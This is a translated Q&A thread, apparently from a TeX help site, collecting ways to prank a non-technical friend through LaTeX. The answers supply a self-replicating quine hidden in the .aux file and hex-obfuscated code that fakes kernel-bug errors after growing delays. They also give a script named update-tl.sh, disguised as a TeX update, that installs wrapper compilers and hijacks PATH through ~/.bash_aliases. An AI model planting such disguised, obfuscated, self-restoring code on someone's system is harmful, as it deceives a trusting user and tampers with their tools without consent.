私には、LaTeX のサポートを私に頼んでいる友人がいます。彼はあまり技術に詳しくありませんが、LaTeX が好きなので、彼が行う必要がある作業に標準的なマクロや環境以上のものが必要なときには、私が手伝います。
私たちはお互いにいたずらをするのが好きです。次に彼がLaTeXのヘルプを求めてきたときに、比較的無害で簡単に元に戻せる、生成されたPDFに顕著な変化を与えるようないたずらをしようと思いました。あるいは、通常の(La)TeXの使用で目立つようなことをする、例えば次のようなことです。コンパイルの延長--- 問題の原因が検出しにくい、望ましくない方法で (つまり、コード トローリングのケースになると思います)。ただし、私自身は LaTeX があまり得意ではないので、TeXperts に創造的な提案を求めることを考えました。
どうすれば友達に (La)TeX 関連の苦労をかけられるでしょうか?
答え1
ファイルにaux
次のコード スニペットを追加します。これは quine です。aux
ファイルが\input
LaTeX 実行の開始時に、ここのコードは自身のコピーを作成し、aux
次の実行のためにファイルに書き込みます。さらに、以下に含まれるコードも実行します\toks2
。たとえば、私が選択したコードは各段落のインデント サイズを増やしますが、これは TeX が奇数分に実行された場合のみです。結果は、友人がコンパイルするタイミングによって異なります。
{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\advance\parindent 2pt\relax
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}
1回実行すると、aux
ファイルには次の要約版(1行)が含まれます。
{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }
以降の実行では、同じ短縮バージョン (再び 1 行) が残ります。
詳細に何が起こるか見てみましょう。(単純な)グループ内で、トークンレジスタが\toks@
何らかの値に設定され、その内容が使用されます。その内容は何をしますか? 実行の開始時または終了時に aux ファイルを読み込んでいるかどうかを確認するテストがあります。後者の\@nodocument
場合\relax
、何もしません。その後、toks レジスタは\toks2
実際に実行したいコードに設定されます。次の\edef\x{...}\x
構造は、...
を次のように拡張します。
\AtBeginDocument{%
<contents of \toks2>\relax
\toks@{<contents of \toks@>}%
\immediate\write\@auxout{%
{%
\toks@{\the\toks@}%
\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
次に、そのコードを実行します。 は、LaTeX が再びファイルに書き込む準備ができたら (現在はファイルを読み込んでいます)、\AtBeginDocument
少し遅れて引数を実行します。したがって、LaTeX がファイルに書き込む準備ができたら、コード ( に一時的に格納されていた) を実行し、 を に格納し直し(このトークン レジスタは、その間に他のコードで使用されている可能性があります)、次のコードをファイルに書き込みます( が展開されることに留意してください)。aux
aux
\toks2
<contents of \toks@>
\toks@
aux
\write
{%
\toks@{<contents of \toks@>}%
\the\toks@
}% end of brace group
これはまさに元のコードであり、aux
LaTeX の次回実行用のファイルに保存されます。
幸い、私が選択したコードは\toks2
簡単に理解できるものだと思います。
\ifodd\time
\everypar\expandafter{%
\the\everypar
\advance\parindent 2pt\relax
}%
\fi
時間 (1 日の開始からの分数) が奇数の場合、段落ごとに、段落ごとに既に実行された操作をすべて実行し、段落のインデント ( ) を 2 ポイント進めます (増やします) 。たとえば、上記の 1 番目または 2 番目のコード スニペットを、以下のドキュメントを実行して生成されたファイル\parindent
に追加するとします。すると、偶数分にコンパイルされた場合はドキュメントは正常になり、そうでない場合は段落のインデントがどんどん大きくなります。aux
pdflatex
\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}
答え2
LuaLaTeXでコンパイルする
\documentclass{article}
\usepackage{lipsum}
^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20
\begin{document}
\lipsum[1]
\end{document}
\randomerror
の代わりにも\randomuclc
いいですね。
答え3
毎回実行した後は指示に従ってください。何か見つかるかもしれません:)
試してみる勇気がない人のために説明すると、これはエラー メッセージ (ここでは emacs tex ヘルプ バッファーから) を生成し、ページ番号はランダムです。
ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2
--- TeX said ---
Re-run LaTeX at least three times to give a chance to the kernel
to re-examine this intriguing problem.
You may have encountered one of the $1,000,000 kernel bug.
See the LaTeX manual or LaTeX Companion for explanation.
Type H <return> for immediate help.
...
l.49 \end{document}
--- HELP ---
From the .log file...
You're in trouble here. Try typing <return> to proceed.
If that doesn't work, type X <return> to quit.
n^2/2
さらに、このメッセージは、新しいコンパイルの終了ごとに、ますます長い遅延を経て表示されます (コンパイル時間は秒単位であり、これはn
以前の実行回数です)。
コードを難読化するための 16 進数変換は少し長めですが、\input
ファイルに以下のコードが含まれている場合、難読化のためだけに 16 進数を使用できるかもしれません。
\documentclass{article}
\usepackage{lipsum}
^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72
^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b%
^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72%
^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b%
^^5c^^67^^64^^65^^66
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65
^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b%
^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a%
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d%
^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72
^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d
^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c%
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65%
^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74
^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d
^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d
^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e
^^70^^61^^67^^65
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58
^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65
^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61
^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65
^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d%
^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e%
^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61%
^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64
^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65
^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30
^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d%
^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72
\begin{document}
\lipsum[1-50]
\end{document}
16進コード(行末からスペースが来る)は
\makeatletter\AtEndDocument{%
\@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}%
\immediate\write\@auxout
{\gdef\noexpand\@kernelpanictime{%
\the\numexpr\@kernelpanictime+2*\pdfuniformdeviate
65536\relax}}%
\pdfresettimer
\loop
\ifnum\pdfelapsedtime<\@kernelpanictime\space
\repeat
\@latex@error{I'm stymied; problem of unknown type on page
\pdfuniformdeviate 10 ^^J
Re-run LaTeX at least three times to give a chance to the kernel^^J
to re-examine this intriguing problem.^^J
You may have encountered one of the \string$1,000,000 kernel bug}\@ehd
}\makeatother
答え4
コードが長すぎるため、コメントではなく回答として投稿しました。Bruno Le Floch の回答に基づいていますが、チャットで egreg が示唆したちょっとした工夫が加えられています。
これを aux に追加します:
{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\ifdefined\pdf@elapsedtime
\ifodd\pdf@elapsedtime
\advance\parindent 2pt\relax
\else
\advance\parindent -2pt\relax
\fi
\else
\advance\parindent 2pt\relax
\fi
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}
これを でコンパイルするとpdflatex
(またはパッケージをロードしたlualatex
状態でpdftexcmds
)、コンパイル中に の変更が\parindent
1 秒ごとに元に戻され、他のコンパイラでは Bruno のコードと同じものが生成されます。
状況はこれ以上悪くなるでしょうか? ええ、悪くなる可能性はあります! aux ファイルを直接編集する代わりに (ビルド ディレクトリのクリーンアップによって元に戻されます)、実行可能ファイルを少し調整してみましょう。
注: ダニエルが以下のコメントで述べているように、スキルのない人を荒らすのは本当に意地悪なので、よく見て何が起こっているのか理解できる人を判断するには、少しの常識を働かせてください。また、友達を失ったり、あなたが送ったスクリプトに対する永久的な不信感について、私は一切責任を負いません ;)
次回、友人がサポートを求めてきたら、次のファイルを送信してくださいupdate-tl.sh
:
#!/bin/bash
pdf_path=`which pdflatex`
tex_path=${pdf_path:0:-9}
mkdir -p ~/.tex-updates/
cd ~/.tex-updates
touch pdflatex
chmod +x pdflatex
echo '#!/bin/bash' > pdflatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> pdflatex
echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex
echo 'then' >> pdflatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex
echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex
echo 'fi' >> lualatex
echo "$tex_path/lualatex \$1" >> lualatex
touch xelatex
chmod +x xelatex
echo '#!/bin/bash' > xelatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> xelatex
echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex
echo 'then' >> xelatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases
残念ながら、これは Linux でのみ動作し、pdflatex にフルパスや追加の引数を追加すると簡単に壊れる可能性がありますが、一般的な考え方は次のとおりです。
- 元の実行ファイルの場所を取得する
- 更新された実行ファイルを保存するディレクトリを作成する
- 適切な実行権限を持つ多数のファイルを作成する
- 各ファイルでauxファイルがすでに存在するかどうかを確認し、存在しない場合は上記のコードを使用して作成します。
- 次に、新しいスクリプトで古い実行ファイルを呼び出して、変更された可能性のある補助ファイルを含む出力を構築します。
- 最後に、この新しいディレクトリを$PATH環境変数に追加します。
面白い事実:
- これは が使用されている場合にのみ機能し
bash
、そうでない場合は~/.bashrc
は使用されません - コードは、auxファイルがまだ存在しない場合にのみ追加されます。
- これは
~/.bashrc
ソースが読み込まれた後にのみ機能するため、新しいログイン後、または新しいターミナルウィンドウが開かれた後にのみ機能します。
編集さらに面白い事実:
- 実行は
which pdflatex
元のを返しpdflatex
、pdflatex test.tex
実際には新しいものを実行します。pdflatex
- マルチユーザーシステムでは、これは実行しているユーザーにのみ影響します。
update-tl.sh
- 永久に壊れることはありません。
[pdf|lua|xe]latex
スクリプト~/.tex-updates
と補助ファイルを削除するだけで、すべてが正常に戻ります :) (bin
ディレクトリ内の実行可能ファイルを変更するという私の当初の考えとは対照的です :P)